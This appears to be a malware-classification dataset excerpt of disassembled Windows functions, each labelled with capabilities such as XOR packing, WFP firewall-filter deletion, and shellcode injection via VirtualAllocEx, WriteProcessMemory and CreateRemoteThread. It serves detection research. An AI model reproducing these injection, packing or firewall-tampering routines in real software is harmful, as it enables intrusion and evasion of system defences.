joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000125c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0xc], 0
call sub.KERNEL32.DLL_GetEnvironmentStringsA
mov ebx, eax
mov dword [ebp - 0x10], ebx
jmp 0x10001299
cmp byte [ebx], 0x3d
je 0x10001285
inc dword [ebp - 0xc]
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
lea ebx, [ebx + edi]
cmp byte [ebx], 0
jne 0x10001278
mov edi, dword [ebp - 0xc]
inc edi
lea edi, [edi*4]
mov dword [ebp - 0x14], edi
push dword [ebp - 0x14]
call sub.CRTDLL.DLL_malloc
pop ecx
mov dword [ebp - 8], eax
mov dword [0x10003010], eax
cmp dword [ebp - 8], 0
jne 0x100012cc
xor eax, eax
jmp 0x10001342
mov ebx, dword [ebp - 0x10]
jmp 0x10001325
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
mov dword [ebp - 4], edi
cmp byte [ebx], 0x3d
je 0x1000131f
push dword [ebp - 4]
call sub.CRTDLL.DLL_malloc
pop ecx
mov esi, dword [ebp - 8]
mov dword [esi], eax
or eax, eax
jne 0x10001308
jmp 0x10001342
push ebx
mov edi, dword [ebp - 8]
push dword [edi]
call sub.CRTDLL.DLL_strcpy
add esp, 8
add dword [ebp - 8], 4
mov edx, dword [ebp - 4]
lea ebx, [ebx + edx]
cmp byte [ebx], 0
jne 0x100012d1
mov edx, dword [ebp - 8]
mov dword [edx], 0
mov eax, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x6ba540d4
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x1ab334c0
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408e84
nop
nop
mov ecx, 0x61df6382
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x16c32a7a
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x10001260
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create thread
Execute shellcode via indirect call
Get hostname
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push str.msvcrt.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x10001295
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100013e8
mov esp, ebp
pop ebp
ret
push 0x104
lea eax, [ebp - 0x214]
mov dword [ebp - 0x218], 0x104
push 0
push eax
call fcn.100023e0
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor eax, eax
nop dword [eax + eax]
mov cl, byte [eax + str.free_]
test cl, cl
je 0x100012e7
mov byte [ebp + eax - 0x110], cl
inc eax
cmp eax, 5
jb 0x100012d0
mov byte [ebp + eax - 0x110], 0
lea eax, [ebp - 0x110]
cmp byte [ebp - 0x110], 0
je 0x10001306
nop
inc eax
cmp byte [eax], 0
jne 0x10001300
mov cl, byte [ebp - 0x214]
lea edx, [ebp - 0x214]
sub edx, eax
mov byte [eax], cl
lea eax, [eax + 1]
mov cl, byte [edx + eax]
test cl, cl
jne 0x10001314
mov byte [eax], cl
lea eax, [ebp - 0x110]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x100013cc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100013cb
push ebx
push edi
call fcn.10001000
push 0x40
push 0x3000
push 0x800
push 0
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x100013c9
push 0
push 0x800
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100013c9
push 0
push 0
push 0
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x100013c9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0x186a0
call esi
jmp 0x100013c0
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.100013e8
mov esp, ebp
pop ebp
ret

Function at 0x10004727
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10004766
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10004766
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10004766
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10004766
cmp dword [ecx + 0x74], 0xe
jbe 0x10004766
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100073f1
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000748e
push ebx
push esi
call fcn.100073ba
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000734e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000743b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000748d
push edi
push eax
call fcn.100083ac
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000745b
call fcn.10005e94
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000748c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000734e
add esp, 0x20
test eax, eax
jne 0x1000747a
push edi
call fcn.10005e94
jmp 0x10007482
push ebx
call fcn.10005e94
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100076fb
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f518
push 0x1000f510
push str.FlsAlloc
push 0x1f
call fcn.10007617
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000772f
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000e138]
call esi
jmp 0x10007735
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10007779
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f528
push 0x1000f520
push str.FlsGetValue
push 0x21
call fcn.10007617
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100077b0
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000e138]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x100077b8
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f530
push 0x1000f528
push str.FlsSetValue
push 0x22
call fcn.10007617
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100077f2
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1000e138]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000ce80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000cead
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000cead
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x431003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x431030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219

Function at 0x401000
Capabilities:
Packed with generic packer

Disassembly:
jmp 0x401005
push ds
jmp 0x40100a
pushfd
jmp 0x40100f
jmp 0x401013
pushal
popal
popfd
pop ds
jmp fcn.004b932d
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x100010d0
Capabilities:
Delete network filter via wfp api
Enumerate network filters via wfp api

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44
push ebx
push esi
push edi
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push 0
push 0
push 0xa
push 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
call dword [sym.imp.fwpuclnt.dll_FwpmEngineOpen0]
mov ebx, eax
test ebx, ebx
jne 0x10001236
mov dword [esp + 0x1c], eax
lea ecx, [ecx]
mov esi, dword [eax + 0x10002080]
mov eax, dword [0x1000300c]
mov edi, dword [esp + 0xc]
test eax, eax
jne 0x10001153
push str.RtlZeroMemory
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1000300c], eax
test eax, eax
je 0x1000115c
push 0x30
lea ecx, [esp + 0x24]
push ecx
call eax
movdqu xmm0, xmmword [esi]
lea eax, [esp + 0x18]
mov dword [esp + 0x20], 0
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x38], 1
push eax
push edi
movdqu xmmword [esp + 0x30], xmm0
mov dword [esp + 0x44], 2
mov dword [esp + 0x54], 0xffffffff
call dword [sym.imp.fwpuclnt.dll_FwpmFilterCreateEnumHandle0]
mov ebx, eax
test ebx, ebx
jne 0x10001236
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
push 0xffffffffffffffff
push dword [esp + 0x24]
push dword [esp + 0x1c]
call dword [sym.imp.fwpuclnt.dll_FwpmFilterEnum0]
mov ebx, eax
test ebx, ebx
jne 0x10001214
mov edi, dword [esp + 0x10]
test edi, edi
je 0x10001214
mov edx, dword [esp + 0x14]
test edx, edx
je 0x10001214
xor esi, esi
test edx, edx
je 0x10001209
mov eax, dword [edi + esi*4]
mov ecx, dword [eax + 0x1c]
test ecx, ecx
je 0x100011e6
cmp dword [ecx], 0
jne 0x10001204
push dword [eax + 0x8c]
push dword [eax + 0x88]
push dword [esp + 0x14]
call dword [sym.imp.fwpuclnt.dll_FwpmFilterDeleteById0]
mov edx, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
inc esi
cmp esi, edx
jb 0x100011d7
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.fwpuclnt.dll_FwpmFreeMemory0]
push dword [esp + 0x18]
push dword [esp + 0x10]
call dword [sym.imp.fwpuclnt.dll_FwpmFilterDestroyEnumHandle0]
mov eax, dword [esp + 0x1c]
add eax, 4
mov dword [esp + 0x1c], eax
cmp eax, 8
jb 0x10001120
mov eax, dword [esp + 0xc]
test eax, eax
je 0x10001245
push eax
call dword [sym.imp.fwpuclnt.dll_FwpmEngineClose0]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xc654d8
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
sub eax, dword [edx + ecx + 0x10]
jmp 0xbd6afd
je 0xd27633
mov esi, dword [ebp + 0xc]
test esi, esi
jmp 0x837261
je 0xd27633
mov eax, dword [eax + ecx + 0x7c]
cmp cl, 0xc7
clc
cmc
push ebx
push edi
cmc
clc
mov dword [ebp - 0x10], eax
stc
mov dword [ebp - 8], 0xffffffff
clc
cmc
cmp esi, 0xffff
jmp 0x891b09
mov edi, dword [edx + ecx + 0x18]
jmp 0xc9647b
je 0xd27633
mov eax, 0x5a4d
cmp al, 0xa1
jmp 0xc13037
ja 0x81fcac
mov eax, esi
test ecx, ecx
jmp 0x7a22c7
cmp dword [eax + ecx], 0x4550
jmp 0xbe98bc
mov dword [ebp - 8], eax
jmp 0xd08ac7
jne 0xd27633
mov edx, dword [eax + ecx + 0x78]
cmp ax, di
jmp 0xca3894
add eax, ecx
cmp ah, 0xb
cmp bp, si
xor ebx, ebx
jmp 0xd01ca8
cmp word [ecx], ax
jmp 0xd2762d
push ebp
mov ebp, esp
xor cl, 0xf2
ror cl, cl
mov ecx, dword [ebp + 8]
lea esp, [esp - 0x114]
push esi
clc
test ecx, ecx
jmp 0x7ca930
js 0x8302a4
jmp 0xd16cda
je 0x8302a4
mov eax, dword [edx + ecx + 0x20]
test bx, 0x78ab
cmp ah, dl
jmp 0xbefab2
mov eax, dword [ecx + 0x3c]
jmp 0xbd537c
test edi, edi
jmp 0xc74b18
mov dword [ebp - 4], edx
test edx, edx
jmp 0x81bf06
ret
dec edi
jmp 0xd1b746
jmp 0x8302a4
mov dword [ebp - 0xc], eax
jmp 0xc66898
je 0xc85398
xor eax, eax
pop esi
mov esp, ebp
pop ebp
jmp 0xcd1877

Function at 0x401857
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401896
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401896
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401896
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401896
cmp dword [ecx + 0x74], 0xe
jbe 0x401896
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x302d90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
push esi
push edi
lea eax, [ebp - 0x84]
mov esi, ecx
push eax
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.USER32.dll_BeginPaint]
lea ecx, [ebp - 0x44]
push ecx
push esi
mov edi, eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 6
lea edx, [ebp - 0x44]
push edx
push edi
call dword [sym.imp.USER32.dll_FillRect]
mov eax, dword [0x303630]
push 0x30235c
push 0x6a
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ecx, dword [0x303630]
mov esi, eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edx, dword [0x303630]
push esi
push edx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push eax
lea ecx, [ebp - 0x34]
call fcn.00302550
xor edx, edx
lea ecx, [ebp - 0x34]
call fcn.00303390
mov esi, eax
mov ecx, esi
mov dword [ebp - 0x1c], esi
call fcn.003032b0
mov edi, eax
mov ecx, esi
mov dword [ebp - 0xc], edi
call fcn.003032e0
mov ebx, eax
imul ebx, edi
add ebx, ebx
add ebx, ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0
push eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 4]
mov edi, eax
call fcn.003031c0
xor esi, esi
mov dword [ebp - 8], esi
cmp dword [ebp - 0x10], esi
jbe 0x302ec8
xor ebx, ebx
cmp dword [ebp - 0xc], ebx
jbe 0x302eb9
mov edi, edi
mov ecx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push ecx
mov ecx, dword [ebp - 0x1c]
push ebx
call fcn.003033c0
lea ecx, [ebp - 4]
call fcn.003031e0
lea ecx, [ebp - 4]
mov byte [esi + edi], al
call fcn.00303200
lea ecx, [ebp - 4]
mov byte [esi + edi + 1], al
call fcn.00303220
lea ecx, [ebp - 4]
mov byte [esi + edi + 2], al
call fcn.00303240
mov byte [esi + edi + 3], al
inc ebx
add esi, 4
cmp ebx, dword [ebp - 0xc]
jb 0x302e70
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp eax, dword [ebp - 0x10]
jb 0x302e67
mov ebx, dword [ebp - 0x14]
mov edx, ebx
mov ecx, edi
call fcn.00302be0
mov edx, dword [ebp - 0x20]
push edi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [ebp - 0x34]
call fcn.00302390
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x84]
push eax
push ecx
call dword [sym.imp.USER32.dll_EndPaint]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401207
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x854
mov eax, dword [0x41a1e8]
xor edx, edx
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [0x41a1ec]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0xc], edx
mov esi, dword [edi]
mov ebx, dword [edi + 4]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x34], 0x9e3779b9
mov dword [ebp - 0x18], eax
call fcn.00401200
add dword [ebp - 0xc], 0x23f
cmp dword [0x311116c], 0x14
jne 0x401263
push edx
lea eax, [ebp - 0x854]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov ecx, dword [0x41a1f0]
mov edx, dword [0x41a1f4]
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 0x18], 2
add dword [ebp - 0x18], 3
mov eax, esi
mov dword [ebp - 8], 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0x311116c], 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0x3111168]
cmove eax, dword [ebp - 8]
and dword [ebp - 8], 0
cmp dword [0x311116c], 0x3eb
mov dword [0x3111168], eax
mov eax, dword [0x31110bc]
cmove eax, dword [ebp - 8]
mov dword [0x31110bc], eax
mov eax, dword [ebp - 0xc]
add eax, esi
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
add dword [ebp - 0x10], edx
and dword [ebp - 8], 0
mov dword [0x3111164], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
xor dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
xor ecx, eax
cmp dword [0x311116c], 0x213
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], ecx
jne 0x401359
lea eax, [ebp - 0x40]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
lea eax, [ebp - 0x854]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x38]
push eax
push 0
lea eax, [ebp - 0x54]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
mov ecx, dword [ebp - 0x10]
sub ebx, ecx
mov eax, ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
mov edx, ebx
mov eax, dword [ebp - 0xc]
shr edx, cl
add eax, ebx
mov ecx, dword [ebp - 4]
add edx, edi
xor ecx, eax
mov dword [ebp - 0x10], edx
cmp dword [0x311116c], 0xb03
mov dword [ebp - 4], ecx
jne 0x40139c
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
xor ecx, edx
sub esi, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x34]
sub dword [ebp - 0xc], eax
dec dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
jne 0x40127f
mov edi, dword [ebp - 0x24]
mov dword [edi], esi
mov dword [edi + 4], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bb37
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419c10]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00406d87
mov dword [ebp - 0x14], eax
cmp dword [0x817848], esi
jne 0x40bc2a
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40bbb7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40bd0a
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40bd0a
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40bd0a
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x817848], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x81784c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x817850], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x817858], eax
test eax, eax
je 0x40bc27
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x817854], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40bc4f
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40bc42
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40bc64
push 4
pop eax
jmp 0x40bd0c
cmp dword [ebp - 0x14], esi
je 0x40bc64
push dword [0x817848]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40bc49
mov eax, dword [0x817854]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40bcc2
cmp dword [0x817858], edi
je 0x40bcc2
push eax
call ebx
push dword [0x817858]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40bcc2
test eax, eax
je 0x40bcc2
call ecx
test eax, eax
je 0x40bcb7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40bcb7
test byte [ebp - 8], 1
jne 0x40bcc2
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40bcf2
mov eax, dword [0x81784c]
cmp eax, edi
je 0x40bcef
push eax
call ebx
test eax, eax
je 0x40bcef
call eax
mov esi, eax
test esi, esi
je 0x40bcef
mov eax, dword [0x817850]
cmp eax, edi
je 0x40bcef
push eax
call ebx
test eax, eax
je 0x40bcef
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x817848]
call ebx
test eax, eax
je 0x40bd0a
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40bd0c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040397d
mov esp, ebp
pop ebp
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0xa706e7a
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x50dd496a
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219